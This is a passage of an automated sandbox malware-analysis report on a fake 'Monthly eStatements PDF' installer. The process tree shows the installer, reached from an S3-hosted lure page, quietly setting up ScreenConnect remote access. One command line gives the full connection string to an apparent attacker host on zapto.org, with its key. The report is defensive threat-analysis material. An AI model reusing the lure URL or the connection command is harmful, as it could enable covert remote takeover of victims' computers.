                                                                                                              2024-11-27 15:54:34 UTC15824INData Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e
                                                                                                              Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
                                                                                                              2024-11-27 15:54:34 UTC14181INData Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f
                                                                                                              Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro


                                                                                                              Statistics

                                                                                                              CPU Usage

                                                                                                              Click to jump to process

                                                                                                              Memory Usage

                                                                                                              Click to jump to process

                                                                                                              High Level Behavior Distribution

                                                                                                              Click to dive into process behavior distribution

                                                                                                              Behavior

                                                                                                              Click to jump to process

                                                                                                              System Behavior

                                                                                                              General

                                                                                                              Target ID:0
                                                                                                              Start time:10:53:40
                                                                                                              Start date:27/11/2024
                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                              Wow64 process (32bit):false
                                                                                                              Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                              Imagebase:0x7ff62c440000
                                                                                                              File size:55'320 bytes
                                                                                                              MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                              Has elevated privileges:true
                                                                                                              Has administrator privileges:true
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Reputation:low
                                                                                                              Has exited:false

                                                                                                              General

                                                                                                              Target ID:1
                                                                                                              Start time:10:53:41
                                                                                                              Start date:27/11/2024
                                                                                                              Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              Wow64 process (32bit):false
                                                                                                              Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
                                                                                                              Imagebase:0x7ff7f9810000
                                                                                                              File size:3'242'272 bytes
                                                                                                              MD5 hash:45DE480806D1B5D462A7DDE4DCEFC4E4
                                                                                                              Has elevated privileges:true
                                                                                                              Has administrator privileges:true
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Reputation:low
                                                                                                              Has exited:false

                                                                                                              General

                                                                                                              Target ID:2
                                                                                                              Start time:10:53:41
                                                                                                              Start date:27/11/2024
                                                                                                              Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              Wow64 process (32bit):false
                                                                                                              Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1960,i,17103204900219997725,16403034962545697914,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
                                                                                                              Imagebase:0x7ff7f9810000
                                                                                                              File size:3'242'272 bytes
                                                                                                              MD5 hash:45DE480806D1B5D462A7DDE4DCEFC4E4
                                                                                                              Has elevated privileges:true
                                                                                                              Has administrator privileges:true
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Reputation:low
                                                                                                              Has exited:false

                                                                                                              General

                                                                                                              Target ID:3
                                                                                                              Start time:10:53:42
                                                                                                              Start date:27/11/2024
                                                                                                              Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              Wow64 process (32bit):false
                                                                                                              Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/6354799604_PDF.html"
                                                                                                              Imagebase:0x7ff7f9810000
                                                                                                              File size:3'242'272 bytes
                                                                                                              MD5 hash:45DE480806D1B5D462A7DDE4DCEFC4E4
                                                                                                              Has elevated privileges:true
                                                                                                              Has administrator privileges:true
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Reputation:low
                                                                                                              Has exited:true

                                                                                                              General

                                                                                                              Target ID:4
                                                                                                              Start time:10:53:46
                                                                                                              Start date:27/11/2024
                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                              Wow64 process (32bit):false
                                                                                                              Commandline:C:\Windows\System32\svchost.exe -k NetworkService -p
                                                                                                              Imagebase:0x7ff62c440000
                                                                                                              File size:55'320 bytes
                                                                                                              MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                              Has elevated privileges:true
                                                                                                              Has administrator privileges:false
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Reputation:low
                                                                                                              Has exited:true

                                                                                                              General

                                                                                                              Target ID:5
                                                                                                              Start time:10:53:46
                                                                                                              Start date:27/11/2024
                                                                                                              Path:C:\Windows\System32\SgrmBroker.exe
                                                                                                              Wow64 process (32bit):false
                                                                                                              Commandline:C:\Windows\system32\SgrmBroker.exe
                                                                                                              Imagebase:0x7ff7648e0000
                                                                                                              File size:329'504 bytes
                                                                                                              MD5 hash:3BA1A18A0DC30A0545E7765CB97D8E63
                                                                                                              Has elevated privileges:true
                                                                                                              Has administrator privileges:true
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Reputation:low
                                                                                                              Has exited:false

                                                                                                              General

                                                                                                              Target ID:6
                                                                                                              Start time:10:53:47
                                                                                                              Start date:27/11/2024
                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                              Wow64 process (32bit):false
                                                                                                              Commandline:C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                              Imagebase:0x7ff62c440000
                                                                                                              File size:55'320 bytes
                                                                                                              MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                              Has elevated privileges:true
                                                                                                              Has administrator privileges:true
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Reputation:low
                                                                                                              Has exited:false

                                                                                                              General

                                                                                                              Target ID:7
                                                                                                              Start time:10:53:47
                                                                                                              Start date:27/11/2024
                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                              Wow64 process (32bit):false
                                                                                                              Commandline:C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
                                                                                                              Imagebase:0x7ff62c440000
                                                                                                              File size:55'320 bytes
                                                                                                              MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                              Has elevated privileges:true
                                                                                                              Has administrator privileges:false
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Reputation:low
                                                                                                              Has exited:false

                                                                                                              General

                                                                                                              Target ID:8
                                                                                                              Start time:10:53:47
                                                                                                              Start date:27/11/2024
                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                              Wow64 process (32bit):false
                                                                                                              Commandline:C:\Windows\system32\svchost.exe -k UnistackSvcGroup
                                                                                                              Imagebase:0x7ff62c440000
                                                                                                              File size:55'320 bytes
                                                                                                              MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                              Has elevated privileges:false
                                                                                                              Has administrator privileges:false
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Reputation:low
                                                                                                              Has exited:false

                                                                                                              General

                                                                                                              Target ID:11
                                                                                                              Start time:10:54:01
                                                                                                              Start date:27/11/2024
                                                                                                              Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              Wow64 process (32bit):false
                                                                                                              Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4948 --field-trial-handle=1960,i,17103204900219997725,16403034962545697914,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
                                                                                                              Imagebase:0x7ff7f9810000
                                                                                                              File size:3'242'272 bytes
                                                                                                              MD5 hash:45DE480806D1B5D462A7DDE4DCEFC4E4
                                                                                                              Has elevated privileges:false
                                                                                                              Has administrator privileges:false
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Reputation:low
                                                                                                              Has exited:true

                                                                                                              General

                                                                                                              Target ID:12
                                                                                                              Start time:10:54:15
                                                                                                              Start date:27/11/2024
                                                                                                              Path:C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe
                                                                                                              Wow64 process (32bit):true
                                                                                                              Commandline:"C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe"
                                                                                                              Imagebase:0xf50000
                                                                                                              File size:5'622'768 bytes
                                                                                                              MD5 hash:E7D896F9AF8FB4340CBAFE162FB3C3B7
                                                                                                              Has elevated privileges:true
                                                                                                              Has administrator privileges:true
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Yara matches:
                                                                                                              • Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 0000000C.00000002.1568855377.0000000005B00000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                              • Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 0000000C.00000000.1549114318.0000000000F66000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security
                                                                                                              • Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 0000000C.00000002.1561415417.0000000003121000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                              Reputation:low
                                                                                                              Has exited:true

                                                                                                              General

                                                                                                              Target ID:13
                                                                                                              Start time:10:54:16
                                                                                                              Start date:27/11/2024
                                                                                                              Path:C:\Windows\SysWOW64\msiexec.exe
                                                                                                              Wow64 process (32bit):true
                                                                                                              Commandline:"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\ScreenConnect\e6cb77284cf765aa\setup.msi"
                                                                                                              Imagebase:0xee0000
                                                                                                              File size:59'904 bytes
                                                                                                              MD5 hash:9D09DC1EDA745A5F87553048E57620CF
                                                                                                              Has elevated privileges:true
                                                                                                              Has administrator privileges:true
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Reputation:low
                                                                                                              Has exited:true

                                                                                                              General

                                                                                                              Target ID:14
                                                                                                              Start time:10:54:16
                                                                                                              Start date:27/11/2024
                                                                                                              Path:C:\Windows\System32\msiexec.exe
                                                                                                              Wow64 process (32bit):false
                                                                                                              Commandline:C:\Windows\system32\msiexec.exe /V
                                                                                                              Imagebase:0x7ff7f0d60000
                                                                                                              File size:69'632 bytes
                                                                                                              MD5 hash:E5DA170027542E25EDE42FC54C929077
                                                                                                              Has elevated privileges:true
                                                                                                              Has administrator privileges:true
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Reputation:low
                                                                                                              Has exited:false

                                                                                                              General

                                                                                                              Target ID:15
                                                                                                              Start time:10:54:16
                                                                                                              Start date:27/11/2024
                                                                                                              Path:C:\Windows\SysWOW64\msiexec.exe
                                                                                                              Wow64 process (32bit):true
                                                                                                              Commandline:C:\Windows\syswow64\MsiExec.exe -Embedding 559B26D824275EAF714132D7DDAA523E C
                                                                                                              Imagebase:0xee0000
                                                                                                              File size:59'904 bytes
                                                                                                              MD5 hash:9D09DC1EDA745A5F87553048E57620CF
                                                                                                              Has elevated privileges:true
                                                                                                              Has administrator privileges:true
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Reputation:low
                                                                                                              Has exited:true

                                                                                                              General

                                                                                                              Target ID:16
                                                                                                              Start time:10:54:16
                                                                                                              Start date:27/11/2024
                                                                                                              Path:C:\Windows\SysWOW64\rundll32.exe
                                                                                                              Wow64 process (32bit):true
                                                                                                              Commandline:rundll32.exe "C:\Users\user\AppData\Local\Temp\MSICD79.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_4902390 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                                                                                              Imagebase:0xce0000
                                                                                                              File size:61'440 bytes
                                                                                                              MD5 hash:889B99C52A60DD49227C5E485A016679
                                                                                                              Has elevated privileges:true
                                                                                                              Has administrator privileges:true
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Reputation:low
                                                                                                              Has exited:true

                                                                                                              General

                                                                                                              Target ID:17
                                                                                                              Start time:10:54:18
                                                                                                              Start date:27/11/2024
                                                                                                              Path:C:\Windows\SysWOW64\msiexec.exe
                                                                                                              Wow64 process (32bit):true
                                                                                                              Commandline:C:\Windows\syswow64\MsiExec.exe -Embedding 910C4B9204E995E7435A3C716822A8B8
                                                                                                              Imagebase:0xee0000
                                                                                                              File size:59'904 bytes
                                                                                                              MD5 hash:9D09DC1EDA745A5F87553048E57620CF
                                                                                                              Has elevated privileges:true
                                                                                                              Has administrator privileges:true
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Reputation:low
                                                                                                              Has exited:true

                                                                                                              General

                                                                                                              Target ID:18
                                                                                                              Start time:10:54:19
                                                                                                              Start date:27/11/2024
                                                                                                              Path:C:\Windows\SysWOW64\msiexec.exe
                                                                                                              Wow64 process (32bit):true
                                                                                                              Commandline:C:\Windows\syswow64\MsiExec.exe -Embedding 299F468216E17D0E813664F4DC42E83A E Global\MSI0000
                                                                                                              Imagebase:0xee0000
                                                                                                              File size:59'904 bytes
                                                                                                              MD5 hash:9D09DC1EDA745A5F87553048E57620CF
                                                                                                              Has elevated privileges:true
                                                                                                              Has administrator privileges:true
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Reputation:low
                                                                                                              Has exited:true

                                                                                                              General

                                                                                                              Target ID:19
                                                                                                              Start time:10:54:19
                                                                                                              Start date:27/11/2024
                                                                                                              Path:C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exe
                                                                                                              Wow64 process (32bit):true
                                                                                                              Commandline:"C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=tmqw21a.zapto.org&p=8041&s=77dc3982-78be-4a22-8a61-2b1b5e23e9cc&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&i=Amazon"
                                                                                                              Imagebase:0x170000
                                                                                                              File size:95'520 bytes
                                                                                                              MD5 hash:361BCC2CB78C75DD6F583AF81834E447
                                                                                                              Has elevated privileges:true
                                                                                                              Has administrator privileges:true
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Antivirus matches:
                                                                                                              • Detection: 0%, ReversingLabs
                                                                                                              Reputation:low
                                                                                                              Has exited:false

                                                                                                              General

                                                                                                              Target ID:20
                                                                                                              Start time:10:54:20
                                                                                                              Start date:27/11/2024
                                                                                                              Path:C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exe
                                                                                                              Wow64 process (32bit):false
                                                                                                              Commandline:"C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exe" "RunRole" "95df95ba-a6be-40cc-baf2-03031fdf7d6e" "User"
                                                                                                              Imagebase:0x2a0000
                                                                                                              File size:601'376 bytes
                                                                                                              MD5 hash:20AB8141D958A58AADE5E78671A719BF
                                                                                                              Has elevated privileges:false
                                                                                                              Has administrator privileges:false
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Yara matches:
                                                                                                              • Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 00000014.00000000.1600844087.00000000002A2000.00000002.00000001.01000000.00000013.sdmp, Author: Joe Security
                                                                                                              • Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 00000014.00000002.2471414964.0000000002601000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                              • Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exe, Author: Joe Security
                                                                                                              Antivirus matches:
                                                                                                              • Detection: 0%, ReversingLabs
                                                                                                              Reputation:low
                                                                                                              Has exited:false

                                                                                                              General

                                                                                                              Target ID:21
                                                                                                              Start time:10:54:47
                                                                                                              Start date:27/11/2024
                                                                                                              Path:C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                              Wow64 process (32bit):false
                                                                                                              Commandline:"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
                                                                                                              Imagebase:0x7ff616ff0000
                                                                                                              File size:468'120 bytes
                                                                                                              MD5 hash:B3676839B2EE96983F9ED735CD044159
                                                                                                              Has elevated privileges:true
                                                                                                              Has administrator privileges:false
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Reputation:low
                                                                                                              Has exited:true

                                                                                                              General

                                                                                                              Target ID:22
                                                                                                              Start time:10:54:47
                                                                                                              Start date:27/11/2024
                                                                                                              Path:C:\Windows\System32\conhost.exe
                                                                                                              Wow64 process (32bit):false
                                                                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                              Imagebase:0x7ff6684c0000
                                                                                                              File size:862'208 bytes
                                                                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                              Has elevated privileges:true
                                                                                                              Has administrator privileges:false
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Reputation:low
                                                                                                              Has exited:true

                                                                                                              Disassembly

                                                                                                              Reset < >

                                                                                                                Executed Functions

                                                                                                                Function 05AB6F60 Relevance: 1.9, Strings: 1, Instructions: 696COMMON
                                                                                                                Download Yara Rule
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID: 0-3916222277
                                                                                                                • Opcode ID: 867baf42a39a52c84d4b28e29ca2223e16263842fb04fd666bdd41428799856a
                                                                                                                • Instruction ID: 27a22c88dd00faae950ffc80ad26453b7adeb25e28ffc5343b2c50b021dd984c
                                                                                                                • Opcode Fuzzy Hash: 867baf42a39a52c84d4b28e29ca2223e16263842fb04fd666bdd41428799856a
                                                                                                                • Instruction Fuzzy Hash: 04626934A00219DFDB25DF60D854BADBBB6FF89300F1081A9E809A7351DB75AD92CF90
                                                                                                                Function 05AB6F50 Relevance: 1.9, Strings: 1, Instructions: 618COMMON
                                                                                                                Download Yara Rule
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID: 0-3916222277
                                                                                                                • Opcode ID: 453770dbca80e06e10057b388c0b4425c62fd57839a08fa43f68008fcaa0d022
                                                                                                                • Instruction ID: 15d5d7bba0310a4baed10dec070d06a301e2380792005fbcf4b078151641ab57
                                                                                                                • Opcode Fuzzy Hash: 453770dbca80e06e10057b388c0b4425c62fd57839a08fa43f68008fcaa0d022
                                                                                                                • Instruction Fuzzy Hash: DD423B34A00219DFDB25DF64D954BADBBB6FF89300F1081A9E809A7351CB75AD92CF90
                                                                                                                Function 05ABF110 Relevance: 1.2, Instructions: 1201COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 96e55cf5aa74580bd152d91a8e68fae4ec470bcd72d93d8da1fbd54c2bcde0fd
                                                                                                                • Instruction ID: 6a1673defbf4491f0c76f3a6cb0b331791a45e893491cc64d57ec7e9d138d889
                                                                                                                • Opcode Fuzzy Hash: 96e55cf5aa74580bd152d91a8e68fae4ec470bcd72d93d8da1fbd54c2bcde0fd
                                                                                                                • Instruction Fuzzy Hash: 28B20B34A002049FDB14DFA9C984EADBBB6FF88310F15C559E959AB362D771AC81CF90
                                                                                                                Function 05AB9F60 Relevance: .7, Instructions: 668COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: c8fa8a398122536451c5d11aafc3dc415a60b7cbf91c06c1b77733f46da94f00
                                                                                                                • Instruction ID: ef373f541b76242cc9a642104059a8241e6921d7397c2e09eb06cd9d39e7a83c
                                                                                                                • Opcode Fuzzy Hash: c8fa8a398122536451c5d11aafc3dc415a60b7cbf91c06c1b77733f46da94f00
                                                                                                                • Instruction Fuzzy Hash: 38428F70A006059FDB14DF69C490AAEBBF6FF88310F108629E416EB791DB70ED46CB90
                                                                                                                Function 00F27878 Relevance: 2.7, Strings: 2, Instructions: 189COMMON
                                                                                                                Download Yara Rule
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: C8${/
                                                                                                                • API String ID: 0-4231431693
                                                                                                                • Opcode ID: 153e98e4674b4842adb6cf323aaac33d77453b5a3f6cb824f331f702cc83d7e2
                                                                                                                • Instruction ID: a0afc745eccdcadbc3d3d8f1749b3d1c2c9d87e983a4a1903300a0e4e5b27997
                                                                                                                • Opcode Fuzzy Hash: 153e98e4674b4842adb6cf323aaac33d77453b5a3f6cb824f331f702cc83d7e2
                                                                                                                • Instruction Fuzzy Hash: DE61BF307103916FC721BBBAA48597EB7E7EBC47203448229E416CB340EF76ED559BA1
                                                                                                                Function 05AB26C8 Relevance: 1.4, Strings: 1, Instructions: 174COMMON
                                                                                                                Download Yara Rule
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: kpm^
                                                                                                                • API String ID: 0-3826273075
                                                                                                                • Opcode ID: 82137bc3e4f78526f5a02952933be6a16aba41de9dad548e7bdcc12dbbc52ed2
                                                                                                                • Instruction ID: bafe3c8272aa0ba16c18f2fb31db36b7a779108b25081d4eb5cedc8a69fbb2a6
                                                                                                                • Opcode Fuzzy Hash: 82137bc3e4f78526f5a02952933be6a16aba41de9dad548e7bdcc12dbbc52ed2
                                                                                                                • Instruction Fuzzy Hash: A5516139B003058FDB14DFA9C494EAAB7F6FF9C200B148569E516DB365EB71EC418BA0
                                                                                                                Function 05AB26D8 Relevance: 1.4, Strings: 1, Instructions: 170COMMON
                                                                                                                Download Yara Rule
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: kpm^
                                                                                                                • API String ID: 0-3826273075
                                                                                                                • Opcode ID: c661ab4088b41f5e51c9cbfa39ce3cf3c0a9b88854302d58a784a8994208be10
                                                                                                                • Instruction ID: ac2399178e93d97f651634b72300928e882d5bc95c4a02c8456a6eb4d0995c2a
                                                                                                                • Opcode Fuzzy Hash: c661ab4088b41f5e51c9cbfa39ce3cf3c0a9b88854302d58a784a8994208be10
                                                                                                                • Instruction Fuzzy Hash: DE512E38B003068FDB14DFA9C494EAAB7F6FF8C2107148569E516DB365EB71EC418BA0
                                                                                                                Function 05ABB7AF Relevance: 1.4, Strings: 1, Instructions: 117COMMON
                                                                                                                Download Yara Rule
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: s+
                                                                                                                • API String ID: 0-1285507049
                                                                                                                • Opcode ID: bb1082ee03d0cd1b2c1b69262a577ff0bf048e53bf66b953bcf12e9a35cb7629
                                                                                                                • Instruction ID: 53be8451d9aa74cd437e144967ab1a17d2bb5b6a22f9bdc73500b70a25641eb6
                                                                                                                • Opcode Fuzzy Hash: bb1082ee03d0cd1b2c1b69262a577ff0bf048e53bf66b953bcf12e9a35cb7629
                                                                                                                • Instruction Fuzzy Hash: 8E41C431A002599FDF05DFA4D890ADEBBB6EF85300F548529E805AB341DB70ED06CBE1
                                                                                                                Function 00F2879F Relevance: 1.4, Strings: 1, Instructions: 102COMMON
                                                                                                                Download Yara Rule
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: K]
                                                                                                                • API String ID: 0-3798347547
                                                                                                                • Opcode ID: 3024b4b2a74d8f18cd96f33a0ffef341e84bb3ab78bd6c155f83c3dc4b4fee16
